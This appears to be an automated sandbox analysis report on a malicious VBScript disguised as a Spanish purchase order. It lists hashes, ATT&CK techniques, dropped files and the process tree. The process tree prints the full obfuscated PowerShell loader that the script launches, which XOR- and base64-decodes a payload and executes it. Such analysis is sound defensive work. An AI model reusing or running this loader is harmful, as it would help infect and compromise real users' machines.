33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2

Analysis

max time kernel
150s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 07:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Orden de Compra - PO00009769.vbs
Size 25KB
Sample260820-js2a6asdne
SHA256 33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2
MD5 10cdd9b160b459ce49cf7dfc8c7b1b62
SHA1 84c4b47514661df74a23918ca49f5d24b89c019d
SHA512 7026d029962e25ee4d1fe4f8f1a8314a37a9c31ef33cecba99f5079ce5256bc6a0291b25f9ee9e89b73dcdd7122e135d246b73229ed1fa7f8d92244b5cbd42ec
SSDEEP 384:KeUvjn35YjU+1HwUObc4EHk8pLyUnj48KzvxLpKazX2qzz1kNons0ooUI+8XDOIH:KnO2JYrk8ZtjjUpLgXky2z
TLSH
T165B22F168C068BFC1D27ED75A56BE42599F0036768387839F98BD3C93B355D38BD00A6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1544	powershell.exe
4	1544	powershell.exe
8	1544	powershell.exe
11	1544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1544	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3368	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1544	powershell.exe
1544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1544	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 1544	3368	WScript.exe	89
PID 1544 wrote to memory of 1960	1544	powershell.exe	91
PID 1960 wrote to memory of 5160	1960	csc.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de Compra - PO00009769.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=85-11;$z1e94F='fA95Dp0vs';$ou8VbFwno='aa9efdfc9ab3f5b2f99388bbbb9df3e1f8b2f1deaaa4b589e3afada986bdcb8ba2eef29ca288fcfb87b4fd81e3f6bec7d9d6f4ddb9ad9f9fe1f680bdb287bbb59ff6c4b387b2878ab598e7fa83f4d9b3b7ba8ee1ebb3e0a09aaba386d1fe9dbface88ab899faf189f2beaff0b0cee8bbb1f7f8a4b6becff8e2c7f3e7d1d3c1e1c0eb8fa8eef18aa08ef6efcef7c9b9baa385f7eccee997d682828ee7b1bdbfe8aab0af8ec3f087b4ee91b8a28af4fa9c87a0e68aa988e6ed87aee38caba39ffcfc81b6bae1f997a5f6ebc089ffbfacbe82e7e6bea8f5a8b6af84ffcb97aaff81e3f6bfffecdfe897d6fdadd8a3a2c685f9fcfe94d9ddaebdebf68b8e8a93e6dca8bed884eab49fc7acbc99ff8da995a8c5fba183cf96ecaedaa6f58a8beeb4bb8d9fdcfd8280ee8ab5a0d3f1c9a8bcfc9abd82bcc5d9a782dcb4a3aebdd9c5889cfe8ebaa293a2cca990f0b88c8a92f5c7828fc3b1ae83a8a2f4a499f492b095d9ffc7b6bdf2e99aa1a1c4cedeaef38db7a0a9cbac96e3d9eda9bf8fffe79f83a98a9b95bce4d4bbb6f6a68c8a93e5f9af90ce8581f9d2c2c98990f889e0a5bdf8d2a1b9d2a4a18887aaa78c8cf6b6b88487c5fca994cab98faba2f7c98a80f8949f85b3fef7db8cdda8acaabed5c6ad8dab8c80a0b1d7db80becb84e8a88df5f2de8ac38ba1fda8ffa6d68caae9b18fd8a2ddb99bf6a88dfea1c4ce99efedb99f8da6f0f19682ccb29bf4b3d5e797b8edac9694d9ebdbbd92d8b68dbba1eafcdd9cc284ea829fc2f38289ff84b59588a0f3c58dcbb79299dae3ecaaeaafad9a8bdad0c8a880ee88b5f5c0f2cadf80f894e880bcc5d6a1bef6b793aabdd1e8889cf290bd8d8cd8de89e7a7fbf0c1e1d2fb8af7cea5a9a9cbbecb97aaff98bcaa82fdf69ab3f5b2f9e4b0c7fa96aeb499b7af84f7f680bdc7e6e399bfd5a7c09dffa88ab899faf189f2c19fb6a29df6ed9a87a0e69fbe84fedd8fa9ffeaed9f9fe1f680bdb2f8b8ffdbbab6c7d790baaca288e7f681b4bab8f1e88aa0aec7a1bebdeafed6ddfa99f7d5beb3a988e7bfa0bfeef28ea989d0f387bff4a8e2e4acf6ebc388fbb2bda386b3bb8fe9abfcf48f84e6f19afabebdeafdc5d0f09bb4eef5a5e990e7ed97a1e8b9adb999fdbfcabba9eef78884e4f182b5fbb89dad9ff2b7ca85b3a1baad9ff0f795a7e7a1d4c68de6f18daef3b3b7ec82bbbb8fe9b6f8b8f8c7b7fedbf6bebdeff1abbbb6c7a1bebdeef1b0c3f78fb4eeb3b48b8ae7fab3e0a090b6ad8fd2ec9dbff7beb5b5c3b7feddf3a1f8b8f4d6b7fed9f4ddb9ad9892e3fa9df2b3a0e6b7cfcc';$mpNNFqmk='HVIZDH1rBE5DEzkJETEBBBdbCDANWSwBBBsIdHEYLXRRDUxCGzANVT0NPnFDVXgJA2VMCk0IcX0CBHhLAmVKUnMfPTl6BgMBUiRZOkcUL3pgAEI5NkZRKnRwV0c7InVKMRJWY0EAB0lGCXVvZyUcNkZjUR4BGj1FWzVHVR5PVTxNRHAcS2pVYGANFHhGTFh9cncYCWdEEUxUbi5WI2NABFdDenofFHBLBkYOF3VUSWweQUIfHV0CFn5OAAsCUSRARHATTF4rORlmRHMUWGMOGzwzAzECMBMfYzNFQDoFTXxFEzM/F1RwI2VeYEBdLl5yN3V/ZVI1NXVgCWxzdSE7OHpOMHZKaXU0JiVwNnUTa0wAEFh9DkRzayU+LUdzAXZxXyw5A31/BHtgB0EvIkd3NhJRDjNFST0NTXxFEzM5UCh1NlRjZlItWF5jNEhsd3w5K1JkUXVlVCQgJlccMHdgZUw6JmFDNmF3elI6Jl19JB4bFD1FTDkNOkAGFEFcWUF2EmZzdVUDLFVnMGhiciw6I0ARLmV3XF8vMkN2M09RZlcuNkN2VFQbFD1FSRwvDEUOGzAOUixBRQdEAj1BAX9BTQdHByk3NHRdEQ1jXXcDBHhLAn4cCUE4JikLIkZSYGAeCX9CTQdEAT1FTXxEEUBOG0sPQDZnEkdJUScDXTYMRQgGG0sPQDZEMhtgcUYhNlR0NHBkRHBHBEAYWAQPEz9MSE5GRQRAREEqRzgMHi4sEzRIAiIFWAMObHdMR0AWCVBlci04MSJ8MHdgQ14qJSRsI3V0ekMHKURjJGVva1EEBERjHUdzAiUlOERNAwQPEy9MRHMWRR4GF3ZfTkJQB1BSQX0CBzkVSQMCUSdCLHRLAldOEzlMUSMMaCkCUiddQCwFTXxFEzMvFywYQgoGCBlmRHMRWAt5UDRLNnpvKXBwYXc/NmFyI3toZjNFQDoFTXxFEzM6DCRANmIbDjNFWxwvRQMGE31MSEpmCk1QVmYYPSsfI1FJXlYNE3QTUXBSQX0CBzkBKEJSUHwJE0oUOAoPEzAOVDENOkAGFEc5VUd2IEQbFD1MIDkBBxAKEzANUyAJRQQBHzREP3IFQkJwBncJC3lyQgoKEzwzAzECJlQbDjNFQD0FTXxFEzM9F1xrQgoPPh5MQDEFIkZSHkQeD3JAFlBaQHseFDFmNXYGHnAJE3JZFkZKVncYQDxDDFFVRzRZHHdRRW1HXnFAI0FwRV4rORlmQDEFRQMGEzRMQA==';$dp0DFRXg=0x80EC-0x39E9;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0xAA)};$r1Y3GfVj=$cUXA3FJ;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0x55)};$uXRGWv=$cUXA3FJ;$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$ou8VbFwno.Length;$j+=2){$cUXA3FJoldR+=[char](([Convert]::ToInt32($ou8VbFwno.Substring($j,2),16))-bxor$r1Y3GfVj[$i++%$r1Y3GfVj.Length])};$aCclkMoYZ=$cUXA3FJoldR;$cUXA3FJoldB=[Convert]::FromBase64String([regex]::Replace($mpNNFqmk, '$cUXA3FJ', ''));$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$cUXA3FJoldB.Length;$j++){$cUXA3FJoldR+=[char]($cUXA3FJoldB[$j]-bxor$uXRGWv[$i++%$uXRGWv.Length])};$lx8aWkaJz=$cUXA3FJoldR;$bMRoUrgOv=$aCclkMoYZ+$lx8aWkaJz;.($env:ComSpec[4,26,25]-join'') $bMRoUrgOv
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1544
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1960
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60C4.tmp" "c:\Users\Admin\AppData\Local\Temp\zvtym5aj\CSCBF1A6789BC34971813A93D42EB6B3B8.TMP"
      4⤵
      PID:5160

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES60C4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES60C4.tmp
Size 1KB
SHA256 00f6da9ce4314a7f22048a2dff11278d71daeb48e8f291638cf469587f5c7433
MD5 f7ca2d918cbce5f7a4a126d70161850c
SHA1 f8b8d85ae4c8cf997f2d91773e1c24f7dd1bf52b
SHA512 ec6cd124e9a5560c79ac13d261ea9dae3ff10c905f31fcc8eb74e0be409eae8cad8ea55b3f79baa48bff1109b0322c4c7fa8eddf0094befbf2c65be7ec71bafe
TLSH
T1ED216A0593ED4B1EF0734731A9F6432BA2B4FDA4AEA6A79A944142292C41504EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

zvtym5aj.dll

Path C:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.dll
Size 3KB
SHA256 05a54ae71b88a78575098d42257c1ac142918a004d22325cf406aedd477b6bd1
MD5 924ab5d829e6fa474f9047346fbf91b3
SHA1 c970ffce4588f62ae047a7504af5054316e4e392
SHA512 40122ed637090f0389b9ef111433a9bb498ed6d723efe1d5c00b83b3531a684f9b91a41a9734449af7967d147ebcb50abadd0644e57b89bd6c5686ca9d4aa95b
TLSH
T10C51ED1A53E8463BE4B70731BEF783572774F920AB63974A4980426CAC613645E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSCBF1A6789BC34971813A93D42EB6B3B8.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\zvtym5aj\CSCBF1A6789BC34971813A93D42EB6B3B8.TMP
Size 652B
SHA256 3ae2c87ef0a8c8371cf4efb1716d0fe930213e8e977061d6230de3e040e85961
MD5 a97ae259a055a5b92320c14650d2abab
SHA1 4e4d9af7bddbef2a0d60a4cc1d4b170f14534338
SHA512 b3463425583991097b86c84995621df3a15d40b4a0abb20f81619471c2487e88c95614a6825fa69c2718f90dc31eb2b7828d10d082cbe40c3010ae1f4c7eb030
TLSH
T1FBF0540963FC020EF0F34B30BDF58363D1A8BCA4DE3293ED5441431D186451485A1F71
MD5 SHA1 SHA512 TLSH

Submit Download

zvtym5aj.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

zvtym5aj.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.cmdline
Size 369B
SHA256 9094d9beb2cdce4bb40eda15aa2ba4094881e1838d7cad7533c0517a2292c880
MD5 557f94a08eb3a3ee37086020750a7e55
SHA1 115c4b7168e77bed5cc9089faa5adb87438a645e
SHA512 7c797ed2eba05ea08f79dc630ce10b7f335c92f51051cf7b30dce436f9cdc94cf35e8864b425002499cd7e52cd660237f0674021b04cbe831e7cd143be6cdaa1
TLSH
T1AAE0C02A8246C27D05DD10C7716DC9BCCA73078B294A3F94D1444C4FF0970007BD3741
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1544-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-9-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-0-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp

Download

memory/1544-17-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-7-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-4-0x000001CE76ED0000-0x000001CE76EF2000-memory.dmp

Download

memory/1544-6-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-5-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-30-0x000001CE5E950000-0x000001CE5E958000-memory.dmp

Download

memory/1544-1-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-32-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-33-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download

memory/1544-35-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

Download